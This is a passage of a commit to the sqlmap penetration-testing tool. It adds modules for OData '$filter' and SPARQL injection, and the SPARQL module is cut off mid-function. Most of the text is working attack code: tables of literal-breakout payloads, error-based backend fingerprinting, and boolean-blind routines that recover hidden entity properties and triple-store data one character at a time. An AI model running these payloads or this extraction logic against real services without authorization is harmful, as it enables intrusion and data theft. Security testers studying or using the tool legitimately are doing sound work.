Adding switches --odata and --sparql

This commit is contained in:
Miroslav Štampar
2026-08-09 11:04:44 +02:00
parent fb5339d783
commit dd57fd91e2
18 changed files with 2505 additions and 62 deletions
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
pass
+566
View File
@@ -0,0 +1,566 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
"""
OData injection ('--odata').
An application that builds an OData '$filter' from user input (?name= -> $filter=Name eq '<name>')
hands over the whole filter expression language. Breaking out of the string literal turns the filter
into an attacker-controlled boolean, which is a boolean-based blind oracle: the entity set the query
returns is populated or empty according to a condition sqlmap controls.
detect break the literal, then confirm a reproducible true/false differential (1 eq 1 vs 1 eq 2)
confirm an OData-only construct (length()/startswith() on a literal) that plain SQL does not parse,
so the finding is attributed to OData rather than to ordinary SQL injection
extract through the oracle, pin an entity by its key and blindly recover each string property by
length + substring binary search - reaching properties the endpoint never $select-ed
OData is fingerprinted by version: v4 speaks contains(), v2/v3 speak substringof(). Nothing is inferred
from a payload merely 'looking like' it worked - every step is a reproducible boolean differential or a
value the application cannot produce by itself.
"""
import re
import time
from collections import namedtuple
from lib.core.common import beep
from lib.core.common import randomStr
from lib.core.common import urldecode
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import sqlErrorPresent
from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import userDecision
from lib.utils.nonsql import userOracleActive
from lib.core.settings import ODATA_CHAR_MAX
from lib.core.settings import ODATA_CHAR_MIN
from lib.core.settings import ODATA_COMMON_FIELDS
from lib.core.settings import ODATA_ERROR_REGEX
from lib.core.settings import ODATA_ERROR_SIGNATURES
from lib.core.settings import ODATA_KEY_CANDIDATES
from lib.core.settings import ODATA_MAX_KEY
from lib.core.settings import ODATA_MAX_LENGTH
from lib.core.settings import ODATA_MAX_RECORDS
from lib.core.settings import UPPER_RATIO_BOUND
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
from thirdparty.six.moves.urllib.parse import quote as _quote
SENTINEL = randomStr(length=10, lowercase=True)
ODATA_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
Boundary = namedtuple("Boundary", ("prefix", "suffix"))
# Detection boundaries, priority-ordered. Each breaks out of the string literal and rebuilds a filter
# whose truth is (predicate): the base value matches nothing and the trailing "'1' eq '2'" is false, so
# the injected predicate alone decides whether any entity is returned. prefix/suffix wrap a later
# predicate for extraction.
# (true_break, false_break, prefix, suffix)
_BOUNDARY_TABLE = (
# single-quoted string literal (OData escapes an inner quote by doubling it, hence no backslashes)
("' or (1 eq 1) or '1' eq '2", "' or (1 eq 2) or '1' eq '2", "' or (", ") or '1' eq '2"),
# double-quoted string literal (some services accept "..." literals)
('" or (1 eq 1) or "1" eq "2', '" or (1 eq 2) or "1" eq "2', '" or (', ') or "1" eq "2'),
)
# Charset for blind character recovery.
# NOTE recovery uses EXACT equality (substring(...) eq 'c'), not a '>=' bisection: .NET / OData string
# relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a
# lexicographic bisection, whereas eq is ordinal and exact. So the set is ordered by real-world frequency
# to keep the linear scan short on typical data rather than by codepoint. Because the scan is exact
# rather than positional, the order is free and a missing codepoint only costs coverage - it cannot
# alias onto a neighbour the way a bisection hole does. Nothing is excluded: the one character OData
# cannot carry raw inside a literal, the single quote, is doubled per the spec instead of dropped.
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) +
tuple(xrange(ord('0'), ord('9') + 1)) + tuple(ord(_) for _ in " @._-+:/!#$%&*=?"))
_CS_ORDS = []
for _o in _FREQ:
if ODATA_CHAR_MIN <= _o <= ODATA_CHAR_MAX and _o not in _CS_ORDS:
_CS_ORDS.append(_o)
for _o in xrange(ODATA_CHAR_MIN, ODATA_CHAR_MAX + 1):
if _o not in _CS_ORDS:
_CS_ORDS.append(_o)
def _literal(ordinal):
"""One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped)."""
return "'%s'" % ("''" if ordinal == 0x27 else chr(ordinal))
def _delim(place):
return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
def _confParameters(place):
return conf.parameters.get(place) or ""
def _originalValue(place, parameter):
# decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text
# and a value carrying %XX/'+' round-trips to exactly what the application originally received
for pair in _confParameters(place).split(_delim(place)):
if '=' in pair:
name, _, value = pair.partition('=')
if name.strip() == parameter:
return urldecode(value, convall=True)
return None
def _replaceSegment(place, parameter, value):
retVal = []
for pair in _confParameters(place).split(_delim(place)):
if '=' in pair:
name, _, old = pair.partition('=')
retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
elif pair:
retVal.append(pair)
return _delim(place).join(retVal)
def _send(place, parameter, value, raw=False):
"""One HTTP request with the target parameter set to `value`, reusing sqlmap's request machinery.
`raw=True` keeps a 4xx/5xx body (a $filter parser diagnostic is served as 400) which the boolean
oracle must never see.
The value is URL-encoded (as '--ssti' already does) because a payload metacharacter otherwise never
reaches the service intact: a raw '&' is the parameter delimiter, so the request SPLITS and the
$filter arrives truncated, and '+' arrives as a space. That is not hypothetical - the character scan
emits both as data, and unencoded the '&' probe returned a 400 whose InconclusiveError aborted the
WHOLE property, so any value holding one of them dumped as '?'."""
if conf.delay:
time.sleep(conf.delay)
saved = conf.parameters.get(place, "")
conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe=""))
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, code = Request.getPage(raise404=False, silent=True)
if not raw and (blockedStatus(code) or (code and code >= 400)):
return None
return page or ""
except Exception as ex:
logger.debug("OData probe request failed: %s" % getUnicode(ex))
return None
finally:
conf.parameters[place] = saved
def _isError(page):
page = getUnicode(page or "")
return bool(re.search(ODATA_ERROR_REGEX, page)) or sqlErrorPresent(page)
def _backendFromError(page):
page = getUnicode(page or "")
for backend, regex in ODATA_ERROR_SIGNATURES:
if re.search(regex, page):
return backend
return None
def _probeError(place, parameter):
"""Break the filter and look for an OData $filter parser diagnostic (served as 400). A hint only."""
original = _originalValue(place, parameter) or "1"
normal = _send(place, parameter, original, raw=True)
for suffix in ("'", '"', ")", " eq "):
broken = _send(place, parameter, original + suffix, raw=True)
if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
continue
backend = _backendFromError(broken)
if backend and not _isError(normal):
return backend, broken
return None, None
def _boolean(truthy, falsy):
truePage = truthy()
if truePage is None or _isError(truePage):
return None
if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
return None
falsePage = falsy()
if falsePage is None or _isError(falsePage):
return None
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
return None
if userOracleActive():
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
return truePage
return None
def _detectBoolean(place, parameter):
for trueBreak, falseBreak, prefix, suffix in _BOUNDARY_TABLE:
truePayload = SENTINEL + trueBreak
falsePayload = SENTINEL + falseBreak
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
lambda p=falsePayload: _send(place, parameter, p))
if template:
return template, truePayload, Boundary(prefix, suffix)
return None, None, None
def _wrap(boundary, predicate):
return "%s%s%s%s" % (SENTINEL, boundary.prefix, predicate, boundary.suffix)
# OData-only attribution: length()/startswith() over a string LITERAL are OData $filter functions with no
# plain-SQL equivalent, so a true/false divergence attributes the finding to OData rather than SQL. No
# property name is needed, so this runs before any field is known.
_ODATA_PREDICATES = (
("length('%s') eq 6" % ("sqlmap"), "length('%s') eq 5" % ("sqlmap")),
("startswith('sqlmap','sql')", "startswith('sqlmap','xyz')"),
)
def _confirmOData(place, parameter, boundary):
for truePred, falsePred in _ODATA_PREDICATES:
if _boolean(lambda p=_wrap(boundary, truePred): _send(place, parameter, p),
lambda p=_wrap(boundary, falsePred): _send(place, parameter, p)):
return True
return False
def _fingerprintVersion(oracle):
"""v4 speaks contains(); v2/v3 speak substringof(). Whichever parses-and-evaluates names the dialect.
Both probes are EXPECTED to fail on the dialect that does not own them - an unknown $filter function
is a 400, which the oracle can only report as inconclusive. That is a negative answer here, not an
error: raising would abort the scan before the finding is even reported, and it would do so on
exactly the v2/v3 services the second branch exists to name."""
for expression, version in (("contains('sqlmap','sql')", "v4"),
("substringof('sql','sqlmap')", "v2/v3")):
try:
if oracle(expression):
return version
except InconclusiveError:
continue
return None
def _makeOracle(place, parameter, boundary, truePredicate="(1 eq 1)"):
"""Build a boolean oracle whose TRUE model is the result of `truePredicate` and FALSE model is the
empty set. For detection the true model is the whole entity set ((1 eq 1)); for per-entity extraction
it is a single pinned entity (key eq K), so a `key eq K and <cond>` probe - which returns that one
entity or nothing - matches the two models exactly. Returns None when the models are not separable."""
cache = {}
def request(payload):
if payload not in cache:
page = _send(place, parameter, payload)
if page is not None and not _isError(page):
cache[payload] = page
return page
return cache[payload]
truePayload = _wrap(boundary, truePredicate)
falsePayload = _wrap(boundary, "(1 eq 2)")
trueTemplate = request(truePayload)
falseTemplate = request(falsePayload)
if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate):
return None
if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND:
return None
def truth(predicate):
payload = _wrap(boundary, predicate)
page = request(payload)
usable = page if (page is not None and not _isError(page)) else None
def fresh():
p = _send(place, parameter, payload)
return None if (p is None or _isError(p)) else p
return resolveBit(usable, trueTemplate, falseTemplate, fresh)
truth.template = trueTemplate
truth.cache = cache
return truth
def _hasErrorSurface(place, parameter, boundary):
"""True when an unknown property really does surface as an error. The cheap existence oracle below is
an error/no-error split, so on an endpoint that SWALLOWS the service's 400 it answers 'exists' for
EVERY name - which reported all 37 candidate properties as reachable and dumped a wall of empty
columns. Probing a name that cannot exist tells the two apart in one request."""
payload = _wrap(boundary, "(%s ne null)" % randomStr(length=12, lowercase=True))
page = _send(place, parameter, payload, raw=True)
return page is None or _isError(page)
def _fieldExists(place, parameter, boundary, field):
"""A property that does not exist makes the whole $filter error (400), while an existing one filtered
to false returns 200-empty. So a raw error/no-error split is the existence oracle - but only where
_hasErrorSurface() confirmed the endpoint actually leaks that difference."""
payload = _wrap(boundary, "(%s ne null)" % field)
page = _send(place, parameter, payload, raw=True)
return page is not None and not _isError(page)
def _fieldExistsBlind(oracle, key, keyValue, field):
"""Existence WITHOUT an error surface, for an endpoint that renders a failed $filter as its ordinary
empty page. 'length(P) ge 0' is true for any property that exists, while an unknown one makes the
whole filter fail and the endpoint then serves exactly the FALSE model - so the boolean oracle
separates them cleanly. One request per candidate, same as the error-based check, and it keeps the
automatic dump working on a blind target instead of surrendering it."""
try:
return oracle("(%s eq %d and length(%s) ge 0)" % (key, keyValue, field))
except InconclusiveError:
return False
def _present(place, parameter, boundary, emptyPage, predicate):
"""True when `predicate` returns at least one entity, decided by a direct comparison against the known
EMPTY page rather than the ratio oracle - used to discover which key values exist WITHOUT assuming a
per-entity model yet. A partial/multi-row result is fine here: anything that differs from empty counts
as present."""
page = _send(place, parameter, _wrap(boundary, predicate))
if page is None or _isError(page):
return False
return _ratio(page, emptyPage) < UPPER_RATIO_BOUND
def _lowestKey(place, parameter, boundary, emptyPage, candidate):
"""The smallest existing value of a numeric key, found by bisecting on a RANGE predicate.
Walking up from 1 only works when the keys start near 1. Real services hand out identities from a
seed (1000, 100000, an epoch), and the old upward walk gave up after its run of misses and reported
'no numeric key property found' on a perfectly dumpable entity set. `ge` answers over a whole range
at once, so ~17 requests locate the first key wherever it sits."""
lo, hi = 0, ODATA_MAX_KEY
if not _present(place, parameter, boundary, emptyPage, "(%s ge %d)" % (candidate, lo)):
return None
while lo < hi:
mid = (lo + hi) // 2
if _present(place, parameter, boundary, emptyPage, "(%s le %d)" % (candidate, mid)):
hi = mid
else:
lo = mid + 1
return lo
def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True):
"""Pick a numeric key property and the key values that actually exist (bounded). Every probe stays a
single-entity 0/1-row answer, which the per-entity oracle can classify.
The error-based pre-check only earns its request where the endpoint HAS an error surface; without one
it answers 'exists' for every name, so the range probe below - which compares against the known empty
page and so needs no error at all - is left to reject the candidate on its own."""
for candidate in ODATA_KEY_CANDIDATES:
if errorSurface and not _fieldExists(place, parameter, boundary, candidate):
continue
start = _lowestKey(place, parameter, boundary, emptyPage, candidate)
if start is None:
continue
present = []
misses = 0
value = start - 1
# scan upward from the first real key; stop after a run of absent ids (sparse keys) or once
# enough are collected
while value < ODATA_MAX_KEY and len(present) < ODATA_MAX_RECORDS and misses < 32:
value += 1
if _present(place, parameter, boundary, emptyPage, "(%s eq %d)" % (candidate, value)):
present.append(value)
misses = 0
else:
misses += 1
if present:
return candidate, present
return None, []
def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH):
"""Blindly recover one string property of the entity pinned by key==keyValue: length by binary
search, then each character by bisecting its index in the codepoint-ordered charset. OData substring()
is 0-indexed, so character `pos` (1-based) is substring(field,pos-1,1)."""
pin = "%s eq %d and " % (key, keyValue)
try:
if not oracle("(%slength(%s) ge 1)" % (pin, field)):
return ""
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle("(%slength(%s) ge %d)" % (pin, field, mid)):
lo = mid
else:
hi = mid - 1
length = lo
chars = []
for pos in xrange(length):
# exact-match linear scan (eq is ordinal); frequency order keeps it short on typical values
recovered = "?"
for ordinal in _CS_ORDS:
if oracle("(%ssubstring(%s,%d,1) eq %s)" % (pin, field, pos, _literal(ordinal))):
recovered = chr(ordinal)
break
chars.append(recovered)
except InconclusiveError:
logger.warning("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field)
return None
return "".join(chars)
def _grid(columns, rows):
columns = [getUnicode(_) for _ in columns]
rows = [[getUnicode(_) for _ in row] for row in rows]
widths = []
for index, column in enumerate(columns):
width = len(column)
for row in rows:
if index < len(row):
width = max(width, len(getUnicode(row[index])))
widths.append(width)
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
def line(cells):
return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
def _dumpEntities(place, parameter, boundary, emptyPage):
"""Find a key and the entities that exist, enumerate which common string properties are reachable,
then blind-read them for each entity - reaching properties the endpoint never $select-ed. A fresh
oracle is calibrated PER entity (true model = that one entity, false model = empty) so a
'key eq K and <cond>' probe, which returns that entity or nothing, matches the two models exactly."""
errorSurface = _hasErrorSurface(place, parameter, boundary)
if not errorSurface:
logger.debug("this endpoint swallows the service's $filter errors, so property existence is "
"decided through the boolean oracle instead of an error/no-error split")
key, keys = _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface)
if not key:
logger.info("no numeric key property found among %s; reporting detection only"
% ", ".join(ODATA_KEY_CANDIDATES[:4]))
return
if errorSurface:
reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExists(place, parameter, boundary, _)]
else:
probe = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, keys[0]))
if probe is None:
logger.info("property enumeration needs a per-entity oracle this endpoint does not support; "
"reporting detection only")
return
reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExistsBlind(probe, key, keys[0], _)]
fields = [key] + reachable
logger.info("key property '%s'; %d entit%s; reachable properties: %s"
% (key, len(keys), "y" if len(keys) == 1 else "ies", ", ".join(fields)))
rows = []
for value in keys:
oracle = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, value))
if oracle is None:
continue
row = [str(value)]
for field in fields[1:]:
recovered = _inferField(oracle, key, value, field)
row.append("?" if recovered is None else recovered)
rows.append(row)
if rows:
conf.dumper.singleString("OData: entities dumped through '$filter' (%d)\n%s"
% (len(rows), _grid(fields, rows)))
def odataScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
debugMsg = "'--odata' is self-contained: it detects OData '$filter' injection in HTTP parameters and "
debugMsg += "blindly dumps the reachable entities. SQL enumeration switches (--banner, --dbs, "
debugMsg += "--tables, --users, --sql-query) are ignored"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")
return
tested = found = 0
for place in (_ for _ in ODATA_PLACES if _ in conf.paramDict):
for parameter in list(conf.paramDict[place].keys()):
if conf.testParameter and parameter not in conf.testParameter:
continue
tested += 1
logger.info("testing OData injection on %s parameter '%s'" % (place, parameter))
backendHint, _errorPage = _probeError(place, parameter)
if backendHint:
logger.info("%s parameter '%s' reaches an OData service (framework: '%s')" % (place, parameter, backendHint))
template, payload, boundary = _detectBoolean(place, parameter)
if not template:
continue
isOData = _confirmOData(place, parameter, boundary) or bool(backendHint)
if not isOData:
logger.info("%s parameter '%s' shows a boolean differential but no OData-only construct "
"confirmed it; not attributing to OData (may be plain SQL injection)"
% (place, parameter))
continue
found += 1
if conf.beep:
beep()
detectOracle = _makeOracle(place, parameter, boundary)
version = _fingerprintVersion(detectOracle) if detectOracle else None
backend = backendHint or "Generic OData"
versionMsg = " %s" % version if version else ""
logger.info("%s parameter '%s' is vulnerable to OData injection (framework: '%s'%s)"
% (place, parameter, backend, versionMsg))
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: OData injection\n"
" Title: OData $filter boolean-based blind\n Payload: %s=%s\n---"
% (parameter, place, parameter, payload))
if detectOracle is None:
logger.info("extraction disabled (true/false models not reliably separable); detection stands")
continue
emptyPage = _send(place, parameter, _wrap(boundary, "(1 eq 2)"))
if emptyPage is not None:
_dumpEntities(place, parameter, boundary, emptyPage)
if not found:
if tested:
logger.warning("no parameter appears to be injectable via OData injection (%d tested)" % tested)
else:
logger.warning("no parameters found to test for OData injection")
logger.info("OData scan complete")
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
pass
+536
View File
@@ -0,0 +1,536 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
"""
SPARQL injection ('--sparql').
An application that concatenates user input into a SPARQL query hands over the whole graph pattern
language, not just a value. The typical surface is a search feature whose input lands inside a string
literal in a FILTER (FILTER(?name = "<input>")) or a numeric/term position. Breaking out of that literal
turns the FILTER into an attacker-controlled boolean, which is a boolean-based blind oracle: the row the
query returns appears or disappears according to a condition sqlmap controls.
detect break the literal, then confirm a reproducible true/false differential (1=1 vs 1=2)
confirm a SPARQL-only construct (isIRI / BOUND-of-a-subquery) that plain SQL does not evaluate,
so the finding is attributed to SPARQL rather than to ordinary SQL injection
extract through the oracle, blindly recover data from the store: the number of triples and of
distinct predicates, each predicate IRI, and a sample of triple OBJECTS - all by
STRLEN + SUBSTR binary search behind an EXISTS sub-pattern
Objects only, deliberately: the objects are where the data sits, the predicates are already enumerated
in their own pass, and reassembling whole (subject, predicate, object) rows would mean three independent
blind walks per row that all have to agree on the same ordering - triple the request count for the two
components that carry the least.
Everything is confirmed by a reproducible boolean differential or a per-run random value; nothing is
inferred from a payload merely "looking like" it worked. The extraction is schema-agnostic: it walks the
default graph via COUNT / ORDER BY / OFFSET sub-queries, so it needs no prior knowledge of the ontology.
"""
import re
import time
from collections import namedtuple
from lib.core.common import beep
from lib.core.common import randomStr
from lib.core.common import urldecode
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import sqlErrorPresent
from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import userDecision
from lib.utils.nonsql import userOracleActive
from lib.core.settings import SPARQL_CHAR_MAX
from lib.core.settings import SPARQL_CHAR_MIN
from lib.core.settings import SPARQL_ERROR_REGEX
from lib.core.settings import SPARQL_ERROR_SIGNATURES
from lib.core.settings import SPARQL_MAX_LENGTH
from lib.core.settings import SPARQL_MAX_PREDICATES
from lib.core.settings import SPARQL_MAX_RECORDS
from lib.core.settings import UPPER_RATIO_BOUND
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
from thirdparty.six.moves.urllib.parse import quote as _quote
SENTINEL = randomStr(length=10, lowercase=True)
# a NUMERIC sentinel for the unquoted slot: the base has to be a valid SPARQL term there, and a random
# word is not one - it is a syntax error, which is why the numeric boundary could never fire before
NUMBER_SENTINEL = randomStr(length=9, alphabet="123456789")
SPARQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
# What the injected value STARTS with, chosen so the application's own comparison matches nothing and the
# injected predicate alone decides whether a row comes back.
_BASE_STRING = "string" # a random word, inside the quotes the application already wrote
_BASE_NUMBER = "number" # a random integer, for an unquoted numeric/term slot
Boundary = namedtuple("Boundary", ("prefix", "suffix", "base"))
# Detection boundaries, priority-ordered. Each breaks out of the user-controlled position and rebuilds a
# syntactically valid FILTER whose truth is (predicate). `prefix`/`suffix` wrap a later predicate for
# extraction; `sentinel` marks an OR-style boundary (base value matches nothing, so the injected predicate
# alone decides whether any row is returned).
#
# NOTE every boundary is built with SPARQL's `||` and NEVER `&&`: a raw '&' inside a GET value is the
# parameter delimiter, so sqlmap would split the request and the query would arrive truncated (a 500 that
# looks like a dead oracle). '||' with a base value that matches nothing reduces the FILTER to the
# injected predicate, which is exactly what the extraction oracle needs.
# (true_break, false_break, prefix, suffix, base)
_BOUNDARY_TABLE = (
# double-quoted string literal
('" || (1=1) || ""!="', '" || (1=2) || ""!="', '" || (', ') || ""!="', _BASE_STRING),
# single-quoted string literal
("' || (1=1) || ''!='", "' || (1=2) || ''!='", "' || (", ") || ''!='", _BASE_STRING),
# numeric / unquoted term (input not wrapped in quotes). Nothing to close and nothing to re-balance:
# '=' binds tighter than '||', so FILTER(?x = <num> || (pred)) parses as (?x = <num>) || (pred) and
# reduces to the injected predicate because <num> matches no row.
(" || (1=1)", " || (1=2)", " || (", ")", _BASE_NUMBER),
)
# Codepoints for blind character recovery. The set is CONTIGUOUS on purpose: the recovery is a
# lexicographic '>=' bisection, so a hole does not make the excluded character unrecoverable - it makes
# the bisection converge on the hole's neighbour and report a DIFFERENT character, silently. '"' and '\'
# therefore stay in the charset and are emitted as their SPARQL escapes rather than dropped.
_CS_ORDS = [_ for _ in xrange(SPARQL_CHAR_MIN, SPARQL_CHAR_MAX + 1)]
# ECHAR escapes: these two cannot appear raw inside a double-quoted SPARQL literal (STRING_LITERAL2)
_ESCAPES = {0x22: '\\"', 0x5c: "\\\\"}
def _literal(ordinal):
"""One codepoint as a double-quoted SPARQL string literal."""
return '"%s"' % _ESCAPES.get(ordinal, chr(ordinal))
def _delim(place):
return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
def _confParameters(place):
return conf.parameters.get(place) or ""
def _originalValue(place, parameter):
# decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text
# and a value carrying %XX/'+' round-trips to exactly what the application originally received
for pair in _confParameters(place).split(_delim(place)):
if '=' in pair:
name, _, value = pair.partition('=')
if name.strip() == parameter:
return urldecode(value, convall=True)
return None
def _replaceSegment(place, parameter, value):
retVal = []
for pair in _confParameters(place).split(_delim(place)):
if '=' in pair:
name, _, old = pair.partition('=')
retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
elif pair:
retVal.append(pair)
return _delim(place).join(retVal)
def _send(place, parameter, value, raw=False):
"""One HTTP request with the target parameter set to `value`, reusing sqlmap's request machinery so
URL, cookies, headers, proxy, delay and encoding all behave exactly as in a normal run.
`raw=True` returns the body even for a 5xx status. The boolean oracle must NEVER see it (a 500 is not
a usable true/false sample, hence the default nulling), but the error probe wants exactly that body:
a triple-store parser diagnostic is commonly served as a 500.
The value is URL-encoded (as '--ssti' already does) because a payload metacharacter otherwise never
reaches the query intact: a raw '&' is the parameter delimiter, so the request SPLITS and the store
sees a truncated query, and '+' arrives as a space. That is not hypothetical - the character-scan
probes emit both, and unencoded they made a lexicographic bisection answer the '&' comparison
falsely and silently return the WRONG character ('A&x'/'A)x'/'A+x' all recovered as 'A%x')."""
if conf.delay:
time.sleep(conf.delay)
saved = conf.parameters.get(place, "")
conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe=""))
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, code = Request.getPage(raise404=False, silent=True)
# A transport failure, a BLOCKED status (403/429) or ANY error status is not a usable oracle
# sample. Nulling only 5xx was not enough: a front-end that serves its parser failure as a 400
# with a body carrying no recognisable store signature slipped past _isError(), and when that
# body happened to resemble the FALSE model the bit was decided FALSE instead of INCONCLUSIVE -
# a silently wrong character. Measured: a value of 'A(x' behind a validator that 400s the '('
# probe decoded as 'A\'x'. An unusable sample must be a non-answer, never a cheap false.
if not raw and (blockedStatus(code) or (code and code >= 400)):
return None
return page or ""
except Exception as ex:
logger.debug("SPARQL probe request failed: %s" % getUnicode(ex))
return None
finally:
conf.parameters[place] = saved
def _isError(page):
page = getUnicode(page or "")
return bool(re.search(SPARQL_ERROR_REGEX, page)) or sqlErrorPresent(page)
def _backendFromError(page):
page = getUnicode(page or "")
for backend, regex in SPARQL_ERROR_SIGNATURES:
if re.search(regex, page):
return backend
return None
def _probeError(place, parameter):
"""Break the query context and look for a triple-store parser diagnostic. A hint only - the boolean
oracle is authoritative."""
original = _originalValue(place, parameter) or "1"
normal = _send(place, parameter, original, raw=True)
# NOTE no '&&' suffix here: a raw '&' in a GET value is the parameter delimiter, so it would split the
# request rather than break the query. A bare quote / paren is enough to trip the parser.
for suffix in ('"', "'", ")", " ."):
broken = _send(place, parameter, original + suffix, raw=True)
if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
continue
backend = _backendFromError(broken)
if backend and not _isError(normal):
return backend, broken
return None, None
def _boolean(truthy, falsy):
"""Return the reproducible true page when the true/false probes diverge (each independently
reproducible), else None."""
truePage = truthy()
if truePage is None or _isError(truePage):
return None
if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
return None
falsePage = falsy()
if falsePage is None or _isError(falsePage):
return None
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
return None
if userOracleActive():
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
return truePage
return None
def _detectBoolean(place, parameter):
"""Return (template, payload, boundary) for boolean-blind SPARQL injection, else (None, None, None)."""
for trueBreak, falseBreak, prefix, suffix, kind in _BOUNDARY_TABLE:
boundary = Boundary(prefix, suffix, kind)
base = _base(boundary)
truePayload = base + trueBreak
falsePayload = base + falseBreak
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
lambda p=falsePayload: _send(place, parameter, p))
if template:
return template, truePayload, boundary
return None, None, None
def _base(boundary):
return NUMBER_SENTINEL if boundary.base == _BASE_NUMBER else SENTINEL
def _wrap(base, boundary, predicate):
return "%s%s%s%s" % (base, boundary.prefix, predicate, boundary.suffix)
# SPARQL-only attribution. EXISTS over a triple pattern plus isIRI() is SPARQL graph-pattern syntax with
# no plain-SQL equivalent, so a true/false divergence here is attributable to a SPARQL engine rather than
# to ordinary SQL injection behind the same quote. The false side uses TWO FILTERs (a conjunction) rather
# than `&&`, keeping the payload free of the '&' that GET transport would treat as a delimiter.
_SPARQL_PREDICATES = (
("EXISTS { ?zs ?zp ?zo }", "EXISTS { ?zs ?zp ?zo . FILTER(isIRI(?zo)) FILTER(!isIRI(?zo)) }"),
)
def _confirmSparql(place, parameter, boundary):
base = _base(boundary)
for truePred, falsePred in _SPARQL_PREDICATES:
if _boolean(lambda p=_wrap(base, boundary, truePred): _send(place, parameter, p),
lambda p=_wrap(base, boundary, falsePred): _send(place, parameter, p)):
return True
return False
def _makeOracle(place, parameter, boundary):
"""Build the extraction oracle by recalibrating both true/false models on the SAME base + boundary the
predicates use, then classify each later bit RELATIVE to those two models (resolveBit). Returns None -
disabling extraction - when the models are missing, error pages, or not reliably separable, so a
finding is never dressed up with fabricated data."""
cache = {}
base = _base(boundary)
def request(payload):
if payload not in cache:
page = _send(place, parameter, payload)
if page is not None and not _isError(page):
cache[payload] = page
return page
return cache[payload]
truePayload = _wrap(base, boundary, "(1=1)")
falsePayload = _wrap(base, boundary, "(1=2)")
trueTemplate = request(truePayload)
falseTemplate = request(falsePayload)
if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate):
return None
if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND:
return None
def truth(predicate):
payload = _wrap(base, boundary, predicate)
page = request(payload)
usable = page if (page is not None and not _isError(page)) else None
def fresh():
p = _send(place, parameter, payload)
